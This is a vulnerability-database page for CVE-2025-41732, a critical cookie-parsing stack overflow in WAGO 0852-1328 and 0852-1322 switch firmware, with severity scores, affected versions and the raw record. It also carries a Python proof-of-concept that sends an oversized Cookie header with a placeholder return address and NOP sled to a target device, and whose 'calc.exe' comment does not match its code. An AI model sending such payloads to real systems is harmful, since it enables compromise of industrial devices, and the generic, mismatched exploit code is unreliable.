Security Vulnerability Report
中文
CVE-2025-41732 CVSS 9.8 CRITICAL

CVE-2025-41732

Published: 2025-12-10 11:15:48
Last Modified: 2025-12-19 16:50:43

Description

An unauthenticated remote attacker can abuse unsafe sscanf calls within the check_cookie() function to write arbitrary data into fixed-size stack buffers which leads to full device compromise.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:wago:0852-1328_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:wago:0852-1328:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:wago:0852-1322_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:wago:0852-1322:-:*:*:*:*:*:*:* - NOT VULNERABLE
受影响固件版本 < 修复版本
VDE-2025-095公告中提及的所有受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-41732 PoC - check_cookie() sscanf Buffer Overflow # This PoC demonstrates the buffer overflow via oversized cookie value import socket import struct def create_exploit_payload(): """Create malicious cookie payload to trigger buffer overflow""" # Padding to overflow the buffer padding = b'A' * 256 # Overwrite return address (little-endian) return_addr = struct.pack('<Q', 0x4141414141414141) # Target address # Shellcode placeholder (calc.exe for demonstration) shellcode = b'\x90' * 16 # NOP sled payload = padding + return_addr + shellcode return payload def send_exploit(target_ip, target_port=80): """Send exploit payload to target device""" payload = create_exploit_payload() # HTTP request with malicious cookie request = f"GET / HTTP/1.1\r\n" request += f"Host: {target_ip}\r\n" request += f"Cookie: session={payload.decode('latin-1')}\r\n" request += "\r\n\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(request.encode('latin-1')) print(f"[+] Exploit payload sent to {target_ip}:{target_port}") print(f"[+] Payload length: {len(payload)} bytes") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Target configuration target_ip = "192.168.1.100" # Change to target IP target_port = 80 print("CVE-2025-41732 PoC - check_cookie() Buffer Overflow") print("=" * 50) send_exploit(target_ip, target_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41732", "sourceIdentifier": "[email protected]", "published": "2025-12-10T11:15:48.217", "lastModified": "2025-12-19T16:50:43.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated remote attacker can abuse unsafe sscanf calls within the check_cookie() function to write arbitrary data into fixed-size stack buffers which leads to full device compromise."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:wago:0852-1328_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "02.64", "matchCriteriaId": "402B0083-E354-4B25-82E4-1A997566E181"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:wago:0852-1328:-:*:*:*:*:*:*:*", "matchCriteriaId": "DF26331E-5E32-47F1-A338-0141CA9542DF"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:wago:0852-1322_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "02.64", "matchCriteriaId": "79BD05D2-9F1D-4EBA-AFB5-2F7AB87B2E6C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:wago:0852-1322:-:*:*:*:*:*:*:*", "matchCriteriaId": "F0FF298D-5DB2-4603-B0B7-E9CFBE225B7D"}]}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-095", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}